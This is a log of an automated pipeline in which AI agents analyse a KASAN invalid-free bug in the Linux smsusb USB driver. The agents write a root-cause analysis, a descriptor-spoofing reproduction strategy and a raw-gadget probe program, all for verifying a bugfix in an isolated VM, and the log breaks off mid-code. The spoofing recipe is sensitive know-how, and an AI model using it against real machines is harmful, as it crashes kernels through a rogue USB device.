Following this, `smsusb_term_device` proceeds to call `smscore_unregister_device`, which frees the common DMA buffer. Immediately after, it iterates through the ten URBs and calls `usb_free_urb` on each. Because the `URB_FREE_BUFFER` flag remains set for these URBs, the `urb_destroy` function, called by `usb_free_urb`, attempts to `kfree(urb->transfer_buffer)`.

Since `urb->transfer_buffer` points to memory that is now within the already-freed common buffer, this triggers a double-free for the first URB and invalid-frees for all subsequent URBs. This is precisely the KASAN invalid-free bug I'm trying to expose.

To confirm that the probe will indeed succeed, I've reviewed the `smsusb_init_device` function. It requires `board_id` to determine `params.device_type`. In the context of `idVendor=0x187f, idProduct=0x0010`, the `driver_info` passed from `smsusb_probe` will be `SMS1XXX_BOARD_SIANO_STELLAR_ROM`, which maps to the `SMS_STELLAR` case in the `sms_get_board` logic. This seems perfectly acceptable. The subsequent calls to `siano_media_device_register`, `smscore_register_device`, `smsusb_start_streaming`, and `smscore_start_device` should all proceed without issue, provided the necessary endpoints are present.

Ah, and there's a crucial check in `smsusb_init_device` regarding the endpoints. It iterates through the interface's endpoints and verifies that at least one IN endpoint and one OUT endpoint are present. It also calculates an `align` value: `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr)`. This `align` value must be non-negative. If these conditions aren't met, `smsusb_term_device` is called, and the probe fails. Therefore, my specified endpoint configuration (one IN, one OUT, Bulk) is indeed necessary for the probe to succeed and for the subsequent bug to manifest. The `sizeof(struct sms_msg_hdr)` is a constant, and given typical `usb_endpoint_maxp` values for Bulk endpoints, this `align` check should also pass with the defined configuration.


57/2 2026/09/04 10:21 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.h Name:sms_msg_hdr]

Results:
map[SourceCode: 608:	struct sms_msg_hdr {
 609:		u16	msg_type;
 610:		u8	msg_src_id;
 611:		u8	msg_dst_id;
 612:		u16	msg_length; /* length of entire message, including header */
 613:		u16	msg_flags;
 614:	};
 SourceFile:drivers/media/common/siano/smscoreapi.h]

58/2 2026/09/04 10:21 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 42545
							output: 803
							thoughts: 2899
						

Thoughts:
**My Thought Process on Triggering the `smsusb` Double-Free Vulnerability**

Alright, let's break down how I'd approach triggering this `smsusb` double-free. My primary goal is to reliably reproduce the KASAN invalid-free report, ideally in the simplest way possible, without relying on race conditions or complex device disconnect sequences if a more direct method exists.

**Initial Understanding of the Bug:**

From the crash trace, it's clear the issue lies within the cleanup path of the `smsusb` driver. Specifically, `smsusb_term_device` is called, which eventually leads to freeing a buffer that has already been freed. The crucial pieces of information I'm looking for are:

1.  **What buffer is being freed twice?** The trace points to `kfree(urb->transfer_buffer)` within `urb_destroy`, and the fact that `urb->transfer_buffer` points to `dev->common_buffer`.
2.  **When and why is `common_buffer` freed?** `smscore_unregister_device` is responsible for this, and it's called during the cleanup sequence.
3.  **When and why are the URBs freed?** This happens in `smsusb_term_device` after `smscore_unregister_device` is called, and importantly, the `URB_FREE_BUFFER` flag is set for these URBs.

The core of the problem appears to be that the `common_buffer` is freed by `smscore_unregister_device`, and *then* the URBs that were allocated from chunks within that `common_buffer` are freed via `urb_destroy`. Since `URB_FREE_BUFFER` is set, `urb_destroy` attempts to `kfree` `urb->transfer_buffer`, which is already freed. This is a classic double-free scenario.

**Developing a Reproduction Strategy:**

My first instinct is to try and trigger the cleanup path *early* during the driver's probe. If I can make the probe fail gracefully, the driver should attempt its cleanup, and if the bug is present, it should manifest.

*   **The Device Configuration:** The driver expects certain device descriptors:
    *   `idVendor=0x187f`, `idProduct=0x0010` – This is for device identification, so I'll need to spoof these.
    *   The `sms_msg_hdr` struct has a size of 8 bytes (2+1+1+2+2). This means the `wMaxPacketSize` for endpoints must be at least 8 bytes. Setting it to 512 bytes is a safe and common choice, and it will satisfy the `usb_endpoint_maxp(desc) >= sizeof(struct sms_msg_hdr)` check within `smsusb_init_device`.
    *   The configuration should have one interface.
    *   The interface needs two endpoints: one IN and one OUT, both bulk. This is what the driver would *expect* for normal operation.

*   **Triggering a Probe Failure:** How can I make `smsusb_init_device` fail in a way that leads to `smsusb_term_device` being called?
    *   The original thought might be to just disconnect the device after it's initialized and URBs are submitted. This *would* work, as `smsusb_disconnect` calls `smsusb_term_device`. However, this relies on a race condition or an external trigger for disconnection, which isn't ideal for a reliable reproducer.
    *   A more elegant approach is to make the *initialization itself* fail. If `smsusb_init_device` fails *after* allocating the `common_buffer` and URBs, but *before* the URBs are successfully submitted and registered as "in-flight" in a way that prevents their cleanup, then the cleanup path should be taken.

*   **Exploiting the Endpoint Type Mismatch:** This is where I hit a crucial insight. The `smsusb_probe` function calls `smsusb_init_device`. `smsusb_init_device` sets up URBs and calls `smsusb_start_streaming`. `smsusb_start_streaming` then calls `smsusb_submit_urb`, which in turn calls `usb_submit_urb`.
    *   `usb_submit_urb` has a critical check: `usb_urb_ep_type_check`. This function ensures that the `pipe` type used in the URB (which `usb_fill_bulk_urb` sets to `PIPE_BULK`) matches the actual endpoint descriptor's type (`USB_ENDPOINT_XFER_BULK`).
    *   What if I provide an endpoint descriptor that *looks* like an IN endpoint (i.e., `USB_DIR_IN` is set) but is actually an **Interrupt** endpoint (`bmAttributes = 0x03`) instead of a Bulk endpoint (`bmAttributes = 0x02`)?
    *   The `smsusb_init_device` function checks `desc->bEndpointAddress & USB_DIR_IN` for IN endpoints, which would pass for an interrupt IN endpoint.
    *   However, when `smsusb_submit_urb` calls `usb_fill_bulk_urb` (which creates a bulk pipe) and then `usb_submit_urb` calls `usb_urb_ep_type_check`, the check `usb_pipetype(urb->pipe) != usb_endpoint_type(&ep->desc)` will evaluate to `PIPE_BULK != USB_ENDPOINT_XFER_INT`, which is true.
    *   This mismatch will cause `usb_submit_urb` to return `-EINVAL`.

*   **The Chain Reaction:**
    1.  I configure a USB device with `idVendor=0x187f`, `idProduct=0x0010`, 1 interface, and 2 endpoints.
    2.  Endpoint 1 is configured as **IN, Interrupt** (`bmAttributes=0x03`), `wMaxPacketSize=512`.
    3.  Endpoint 2 is configured as OUT, Bulk (`bmAttributes=0x02`), `wMaxPacketSize=512`.
    4.  When the `smsusb` driver probes this device:
        *   `smsusb_init_device` is called. It finds the IN endpoint, allocates the `common_buffer`, and allocates URBs. Crucially, it sets `URB_FREE_BUFFER` and makes `urb->transfer_buffer` point into `dev->common_buffer`.
        *   `smsusb_start_streaming` calls `smsusb_submit_urb`.
        *   `usb_submit_urb` is called with a bulk pipe for an interrupt endpoint.
        *   `usb_urb_ep_type_check` fails, returning `-EINVAL`.
        *   `smsusb_submit_urb` returns `-EINVAL`.
        *   `smsusb_start_streaming` fails.
        *   `smsusb_init_device` jumps to `err_unregister_device`.
        *   `smsusb_term_device` is called.
        *   `smsusb_term_device` calls `smscore_unregister_device`, which frees `dev->common_buffer`.
        *   `smsusb_term_device` then iterates through the URBs and calls `usb_free_urb` for each.
        *   `urb_destroy` is called for the first URB (`i=0`). Since `URB_FREE_BUFFER` is set, it calls `kfree(urb->transfer_buffer)`.
        *   Since `urb->transfer_buffer` points to the `common_buffer` which was already freed, this triggers the KASAN invalid-free.

**Conclusion and Final Plan:**

This endpoint type mismatch strategy is perfect. It causes a controlled failure *during probe* after essential resources (`common_buffer` and URBs) have been allocated but before the URBs are successfully submitted. This directly leads to the cleanup path being invoked, revealing the double-free without any need for external disconnection triggers or complex state management. The crash report confirms the bug occurs in `smsusb_init_device` during probe, making this approach highly aligned with the observed behavior.

My final plan is to emulate a USB device with the vendor/product IDs and the specific endpoint configuration described above. This should reliably trigger the KASAN invalid-free.


59/1 2026/09/04 10:22 loop
20m
60/2 2026/09/04 10:22 iteration 0
5m
61/3 2026/09/04 10:22 action If
0m Args:
map[OracleFeedback:]

62/3 2026/09/04 10:22 action merge-strategy
0m Results:
map[CurrentReproStrategy:### Root Cause Analysis

The bug is a KASAN invalid-free (use-after-free / double-free) caused by incorrect URB buffer management in the `smsusb` driver. 

During initialization, `smsusb_init_device()` allocates a large DMA `common_buffer` via `smscore_register_device()`. This buffer is then divided into smaller chunks for individual URBs. 
When submitting these URBs, `smsusb_submit_urb()` sets the `urb->transfer_buffer` to point to one of these chunks and crucially sets the `URB_FREE_BUFFER` flag:
```c
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```
This flag instructs the USB core to automatically call `kfree(urb->transfer_buffer)` when the URB is destroyed. However, because the buffer is just an offset into the larger `common_buffer` (which is managed by `smscore`), it should never be individually freed by the USB core.

If the device is disconnected or if the probe fails (e.g., `usb_submit_urb` fails), the error path `err_unregister_device` calls `smsusb_term_device()`. This function first calls `smscore_unregister_device()`, which frees the entire `common_buffer`. Immediately after, it loops through and frees the URBs via `usb_free_urb()`. 

When `urb_destroy()` is invoked, it sees the `URB_FREE_BUFFER` flag and calls `kfree()` on the `transfer_buffer`. Since the pointer points inside the already-freed `common_buffer`, this results in a double-free (for the first URB chunk) or an invalid-free (for subsequent chunks).

### Reproduction Strategy

To reproduce this bug reliably with a minimal C program, we don't even need to disconnect the device. We can intentionally craft a USB descriptor that causes `usb_submit_urb()` to fail during probe, forcing the driver into the buggy error path.

The driver expects a Bulk IN endpoint but only checks the direction (`USB_DIR_IN`). If we provide an **Interrupt** IN endpoint instead, `usb_submit_urb()` will reject the URB with `-EINVAL` due to a pipe type mismatch. This immediately triggers the cleanup path and the KASAN crash.

**Steps to reproduce (using `raw-gadget` or `Dummy HCD`):**
1. Emulate a USB device that matches the `smsusb` driver's ID table (e.g., `idVendor = 0x187f`, `idProduct = 0x0010` for Siano Stellar ROM).
2. Define a Configuration Descriptor with 1 Interface.
3. Define 2 Endpoint Descriptors for the interface:
   - **Endpoint 1 (IN):** Address `0x81`, Attributes `0x03` (Interrupt), `wMaxPacketSize = 512`. *(The Interrupt attribute is the key to failing the probe).*
   - **Endpoint 2 (OUT):** Address `0x02`, Attributes `0x02` (Bulk), `wMaxPacketSize = 512`.
4. Connect the emulated USB device.
5. The `smsusb` driver will bind to the device, allocate the `common_buffer`, and attempt to submit the first URB.
6. `usb_submit_urb()` will fail due to the Bulk vs. Interrupt mismatch.
7. The driver will jump to `err_unregister_device`, free the `common_buffer`, and then destroy the URB, triggering the invalid `kfree()` and the KASAN report.]

63/3 2026/09/04 10:22 agent repro-generator
1m Model:
deep-reasoning

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).

Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

Strategy: ### Root Cause Analysis

The bug is a KASAN invalid-free (use-after-free / double-free) caused by incorrect URB buffer management in the `smsusb` driver. 

During initialization, `smsusb_init_device()` allocates a large DMA `common_buffer` via `smscore_register_device()`. This buffer is then divided into smaller chunks for individual URBs. 
When submitting these URBs, `smsusb_submit_urb()` sets the `urb->transfer_buffer` to point to one of these chunks and crucially sets the `URB_FREE_BUFFER` flag:
```c
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```
This flag instructs the USB core to automatically call `kfree(urb->transfer_buffer)` when the URB is destroyed. However, because the buffer is just an offset into the larger `common_buffer` (which is managed by `smscore`), it should never be individually freed by the USB core.

If the device is disconnected or if the probe fails (e.g., `usb_submit_urb` fails), the error path `err_unregister_device` calls `smsusb_term_device()`. This function first calls `smscore_unregister_device()`, which frees the entire `common_buffer`. Immediately after, it loops through and frees the URBs via `usb_free_urb()`. 

When `urb_destroy()` is invoked, it sees the `URB_FREE_BUFFER` flag and calls `kfree()` on the `transfer_buffer`. Since the pointer points inside the already-freed `common_buffer`, this results in a double-free (for the first URB chunk) or an invalid-free (for subsequent chunks).

### Reproduction Strategy

To reproduce this bug reliably with a minimal C program, we don't even need to disconnect the device. We can intentionally craft a USB descriptor that causes `usb_submit_urb()` to fail during probe, forcing the driver into the buggy error path.

The driver expects a Bulk IN endpoint but only checks the direction (`USB_DIR_IN`). If we provide an **Interrupt** IN endpoint instead, `usb_submit_urb()` will reject the URB with `-EINVAL` due to a pipe type mismatch. This immediately triggers the cleanup path and the KASAN crash.

**Steps to reproduce (using `raw-gadget` or `Dummy HCD`):**
1. Emulate a USB device that matches the `smsusb` driver's ID table (e.g., `idVendor = 0x187f`, `idProduct = 0x0010` for Siano Stellar ROM).
2. Define a Configuration Descriptor with 1 Interface.
3. Define 2 Endpoint Descriptors for the interface:
   - **Endpoint 1 (IN):** Address `0x81`, Attributes `0x03` (Interrupt), `wMaxPacketSize = 512`. *(The Interrupt attribute is the key to failing the probe).*
   - **Endpoint 2 (OUT):** Address `0x02`, Attributes `0x02` (Bulk), `wMaxPacketSize = 512`.
4. Connect the emulated USB device.
5. The `smsusb` driver will bind to the device, allocate the `common_buffer`, and attempt to submit the first URB.
6. `usb_submit_urb()` will fail due to the Bulk vs. Interrupt mismatch.
7. The driver will jump to `err_unregister_device`, free the `common_buffer`, and then destroy the URB, triggering the invalid `kfree()` and the KASAN report.




64/4 2026/09/04 10:22 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8752
							output: 22
							thoughts: 1336
						

Thoughts:
**My Thought Process for Generating a Minimal C Program to Reproduce a KASAN Invalid-Free in `usb_free_urb`**

My primary objective is to create a minimal C program that can reliably trigger a specific KASAN invalid-free vulnerability discovered within the `usb_free_urb` function, which is specifically linked to the `smsusb` driver. To achieve this, I need to simulate the necessary USB environment that would lead to this bug.

The provided strategy points me towards using either `raw-gadget` or a `Dummy HCD` (Host Controller Driver) for USB emulation. My initial thought is to leverage `raw-gadget` as it's commonly employed by syzkaller for USB device emulation. The target device needs specific characteristics: `idVendor = 0x187f` and `idProduct = 0x0010`. It must also expose one interface with two endpoints: an IN endpoint (`0x81`, Interrupt attributes `0x03`) and an OUT endpoint (`0x02`, Bulk attributes `0x02`).

Since this is PHASE 1, which focuses on capability probing, my immediate goal is to ascertain if the required subsystem (`raw-gadget` or `dummy_hcd`) is available and accessible in the testing environment. I initially consider simply checking for the existence and readability of `/dev/raw-gadget`. However, I recall that syzkaller often uses `dummy_hcd` in conjunction with `raw-gadget`. This leads me to question whether just opening `/dev/raw-gadget` is sufficient, or if I also need to verify the presence of `dummy_hcd` or its binding to a Universal Serial Bus Controller (UDC) via `/sys/class/udc`.

To further refine this, I consider using tools like `codesearch-find-references` or `grepper` to understand how `raw-gadget` is typically initialized or integrated. However, I realize that a simpler approach for a probe program is to directly attempt to open `/dev/raw-gadget`. If this fails, it could indicate that the module isn't loaded or I lack the necessary permissions. I also reflect on the syzkaller test environment, which typically has these modules pre-loaded or built-in, but it's prudent to verify.

My first attempt at a probe program focuses solely on `/dev/raw-gadget`:

```c
#include <stdio.h>
#include <stdlib.h>
